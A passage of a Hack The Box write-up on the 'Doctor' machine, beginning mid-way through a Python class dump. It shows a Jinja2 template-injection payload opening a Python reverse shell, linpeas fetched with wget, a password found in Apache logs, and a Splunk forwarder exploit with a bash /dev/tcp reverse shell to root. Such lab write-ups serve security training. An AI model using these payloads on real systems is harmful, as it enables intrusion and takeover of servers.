'sqlalchemy.util.queue.Queue'>, <class 'sqlalchemy.pool.dbapi_proxy._DBProxy'>, <class 'sqlalchemy.engine.strategies.EngineStrategy'>, <class 'sqlalchemy.cresultproxy.BaseRowProxy'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class 'sqlalchemy.engine.result.ResultProxy'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.engine.reflection.Inspector'>, <class 'sqlalchemy.engine.default._RendersLiteral'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'sqlalchemy.orm.base._MappedAttribute'>, <class 'sqlalchemy.orm.collections._PlainColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableAttrGetter'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <class 'sqlalchemy.orm.path_registry.PathRegistry'>, <class 'sqlalchemy.orm.interfaces.MapperOption'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'sqlalchemy.orm.attributes.Event'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'sqlalchemy.orm.instrumentation.InstrumentationFactory'>, <class 'sqlalchemy.orm.util.AliasedClass'>, <class 'sqlalchemy.orm.strategy_options.loader_option'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'sqlalchemy.orm.deprecated_interfaces.MapperExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.SessionExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.AttributeExtension'>, <class 'sqlalchemy.orm.evaluator.EvaluatorCompiler'>, <class 'sqlalchemy.orm.persistence.BulkUD'>, <class 'sqlalchemy.orm.query.Query'>, <class 'sqlalchemy.orm.query._QueryEntity'>, <class 'sqlalchemy.orm.query.QueryContext'>, <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.orm.session.SessionTransaction'>, <class 'sqlalchemy.orm.scoping.scoped_session'>, <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>, <class 'sqlalchemy.orm.dynamic.AppenderMixin'>, <class 'sqlalchemy.orm.dynamic.CollectionHistory'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'sqlalchemy.orm.events._EventsHold.HoldEvents'>, <class 'sqlalchemy.ext.baked.Bakery'>, <class 'sqlalchemy.ext.baked.BakedQuery'>, <class 'sqlalchemy.ext.baked.Result'>, <class 'sqlalchemy.ext.declarative.clsregistry._MultipleClassMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModuleMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModNS'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetColumns'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetTable'>, <class 'sqlalchemy.ext.declarative.clsregistry._class_resolver'>, <class 'sqlalchemy.ext.declarative.base._MapperConfig'>, <class 'sqlalchemy.ext.declarative.api.ConcreteBase'>, <class 'sqlalchemy.ext.declarative.api.DeferredReflection'>, <class 'flask_sqlalchemy.model.Model'>, <class 'flask_sqlalchemy._SessionSignalEvents'>, <class 'flask_sqlalchemy._EngineDebuggingSignalEvents'>, <class 'flask_sqlalchemy.Pagination'>, <class 'flask_sqlalchemy._QueryProperty'>, <class 'flask_sqlalchemy._EngineConnector'>, <class 'flask_sqlalchemy._SQLAlchemyState'>, <class 'flask_sqlalchemy.SQLAlchemy'>, <class 'six._LazyDescr'>, <class 'six._SixMetaPathImporter'>, <class '_cffi_backend.CLibrary'>, <class '_cffi_backend.CType'>, <class '_cffi_backend.CField'>, <class '_cffi_backend._CDataBase'>, <class '_cffi_backend.__CData_iterator'>, <class '_cffi_backend.buffer'>, <class '_cffi_backend.FFI'>, <class '_cffi_backend.Lib'>, <class '_cffi_backend.__FFIGlobSupport'>, <class 'flask_bcrypt.Bcrypt'>, <class 'flask_login.mixins.UserMixin'>, <class 'flask_login.mixins.AnonymousUserMixin'>, <class 'flask_login.login_manager.LoginManager'>, <class 'shlex.shlex'>, <class 'click.testing.EchoingStdin'>, <class 'click.testing.Result'>, <class 'click.testing.CliRunner'>, <class 'email.generator.Generator'>, <class 'smtplib.SMTP'>, <class 'email.headerregistry.Address'>, <class 'email.headerregistry.Group'>, <class 'email.headerregistry.UnstructuredHeader'>, <class 'email.headerregistry.DateHeader'>, <class 'email.headerregistry.AddressHeader'>, <class 'email.headerregistry.MIMEVersionHeader'>, <class 'email.headerregistry.ParameterizedMIMEHeader'>, <class 'email.headerregistry.ContentTransferEncodingHeader'>, <class 'email.headerregistry.MessageIDHeader'>, <class 'email.headerregistry.HeaderRegistry'>, <class 'email.contentmanager.ContentManager'>, <class 'flask_mail.Connection'>, <class 'flask_mail.Attachment'>, <class 'flask_mail.Message'>, <class 'flask_mail._MailMixin'>, <class 'flaskblog.config.Config'>, <class 'unicodedata.UCD'>, <class 'dns.name.IDNACodec'>, <class 'dns.name.Name'>, <class 'dns.wire.Parser'>, <class 'dns.edns.Option'>, <class 'dns.entropy.EntropyPool'>, <class 'dns.tokenizer.Token'>, <class 'dns.tokenizer.Tokenizer'>, <class 'dns.rdata.Rdata'>, <class 'dns.set.Set'>, <class 'dns.tsig.Key'>, <class 'dns.renderer.Renderer'>, <class 'dns.message.Message'>, <class 'dns.message._WireReader'>, <class 'dns.message._TextReader'>, <class 'dns.serial.Serial'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class 'urllib3.util.timeout.Timeout'>, <class 'urllib3.util.retry.Retry'>, <class 'urllib3.connection.DummyConnection'>, <class 'urllib3.connection.HTTPConnection'>, <class 'urllib3.fields.RequestField'>, <class 'urllib3.request.RequestMethods'>, <class 'urllib3.response.DeflateDecoder'>, <class 'urllib3.response.GzipDecoderState'>, <class 'urllib3.response.GzipDecoder'>, <class 'urllib3.response.MultiDecoder'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class 'chardet.enums.InputState'>, <class 'chardet.enums.LanguageFilter'>, <class 'chardet.enums.ProbingState'>, <class 'chardet.enums.MachineState'>, <class 'chardet.enums.SequenceLikelihood'>, <class 'chardet.enums.CharacterCategory'>, <class 'chardet.charsetprober.CharSetProber'>, <class 'chardet.codingstatemachine.CodingStateMachine'>, <class 'chardet.chardistribution.CharDistributionAnalysis'>, <class 'chardet.jpcntx.JapaneseContextAnalysis'>, <class 'chardet.universaldetector.UniversalDetector'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'requests.cookies.MockRequest'>, <class 'requests.cookies.MockResponse'>, <class 'requests.auth.AuthBase'>, <class 'requests.models.RequestEncodingMixin'>, <class 'requests.models.RequestHooksMixin'>, <class 'requests.models.Response'>, <class 'requests.adapters.BaseAdapter'>, <class 'requests.sessions.SessionRedirectMixin'>, <class 'dns.resolver.Answer'>, <class 'dns.resolver.Cache'>, <class 'dns.resolver.LRUCacheNode'>, <class 'dns.resolver.LRUCache'>, <class 'dns.resolver._Resolution'>, <class 'dns.resolver.Resolver'>, <class 'email_validator.ValidatedEmail'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'wtforms.validators.EqualTo'>, <class 'wtforms.validators.Length'>, <class 'wtforms.validators.NumberRange'>, <class 'wtforms.validators.Optional'>, <class 'wtforms.validators.DataRequired'>, <class 'wtforms.validators.InputRequired'>, <class 'wtforms.validators.Regexp'>, <class 'wtforms.validators.Email'>, <class 'wtforms.validators.IPAddress'>, <class 'wtforms.validators.UUID'>, <class 'wtforms.validators.AnyOf'>, <class 'wtforms.validators.NoneOf'>, <class 'wtforms.validators.HostnameValidation'>, <class 'wtforms.widgets.core.ListWidget'>, <class 'wtforms.widgets.core.TableWidget'>, <class 'wtforms.widgets.core.Input'>, <class 'wtforms.widgets.core.TextArea'>, <class 'wtforms.widgets.core.Select'>, <class 'wtforms.widgets.core.Option'>, <class 'wtforms.i18n.DefaultTranslations'>, <class 'wtforms.i18n.DummyTranslations'>, <class 'wtforms.utils.UnsetValue'>, <class 'wtforms.utils.WebobInputWrapper'>, <class 'wtforms.fields.core.Field'>, <class 'wtforms.fields.core.UnboundField'>, <class 'wtforms.fields.core.Flags'>, <class 'wtforms.fields.core.Label'>, <class 'wtforms.meta.DefaultMeta'>, <class 'wtforms.form.BaseForm'>, <class 'wtforms.csrf.core.CSRF'>, <class 'flask_wtf.csrf.CSRFProtect'>, <class 'flask_wtf.recaptcha.widgets.RecaptchaWidget'>, <class 'flask_wtf.recaptcha.validators.Recaptcha'>, <class 'flask_wtf.file.FileAllowed'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'magic.Magic'>, <class 'flaskblog.users.forms.RegistrationForm.Meta'>, <class 'flaskblog.users.forms.LoginForm.Meta'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'PIL.ImageMode.ModeDescriptor'>, <class 'PIL._util.deferred_error'>, <class 'ImagingCore'>, <class 'ImagingFont'>, <class 'ImagingDraw'>, <class 'PixelAccess'>, <class 'cffi.model.BaseTypeByIdentity'>, <class 'cffi.api.FFI'>, <class 'PIL.Image._E'>, <class 'PIL.Image.Image'>, <class 'PIL.Image.ImagePointHandler'>, <class 'PIL.Image.ImageTransformHandler'>, <class 'flaskblog.posts.forms.PostForm.Meta'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'sqlalchemy.dialects.sqlite.json._FormatTypeMixin'>, <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>, <class 'sqlite3.Row'>, <class 'sqlite3.Cursor'>, <class 'sqlite3.Connection'>, <class 'sqlite3Node'>, <class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>]

Analyzing the answer I found out that the template engine used is Jinja2, which works with the Flask framework.

I also noticed that in the returned collection, the popen function of interest is located at index 407.

I run the netcat tool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

and I sent the request:

Request:    {{ ''.__class__.__mro__[1].__subclasses__()[407](["python3", "-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.53',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])"]) }}
Response:   <subprocess.Popen object at 0x7f41f0c790a0>

This is how I got access to the shell:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.209] 37238
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
$ pwd
/home/web

5. Privilege Escalation: web ⇨ shaun

In accordance with good practice, I performed a shell upgrade:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

I checked the list of users:

web@doctor:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
web:x:1001:1001:,,,:/home/web:/bin/bash
...
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

I downloaded the linepeas.sh tool…

web@doctor:/dev/shm$ wget http://10.10.14.53:8000/linpeas.sh
--2020-11-08 12:29:32--  http://10.10.14.53:8000/linpeas.sh
Connecting to 10.10.14.53:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 225652 (220K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 220,36K   828KB/s    in 0,3s    

2020-11-08 12:29:32 (828 KB/s) - ‘linpeas.sh’ saved [225652/225652]

…and ran it right away:

web@doctor:/dev/shm$ chmod +x linpeas.sh 
web@doctor:/dev/shm$ ./linpeas.sh 

In the standard output, I found an interesting entry:

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

I decided to check if Guitar123 is not a mistakenly entered password of one of the users (as username):

web@doctor:~$ su shaun      
Password: 
shaun@doctor:/home/web$ cd ~    
shaun@doctor:~$ cat user.txt 
ecf6fde23de9af7544241c9b732e8c9a

So I acquired a flag and a set of credentials: shaun:Guitar123

6. Privilege Escalation: shaun ⇨ root

The same set of credentials allowed authentication when accessing the https://10.10.10.209:8089/services resource:

Doctor splunk services

This gave me access to another subpage:

Doctor splunk services

Then I downloaded the PySplunkWhisperer2 tool.

I prepared the netcat tool:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor/SplunkWhisperer2]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

and I ran PySplunkWhisperer2_remote.py:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor/SplunkWhisperer2/PySplunkWhisperer2]
└──╼ $python3 PySplunkWhisperer2_remote.py --host $IP --port 8089 --lhost 10.10.14.53 --lport 8183 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.53/4444 0>&1'"

It remained to read the flag:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor/SplunkWhisperer2]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.209] 56422
bash: cannot set terminal process group (1136): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# cat /root/root.txt
cat /root/root.txt
47510b116c91379d2cda35fe5bc3578a

7. Summary

The following circumstances led to the capture of the flags:

The author of the PySplunkWhisperer2 tool (Clément Notin) presented remediations on his blog to harden the Splunk Universal Forwarder configuration. If you are using this solution, consider whether you need to implement them.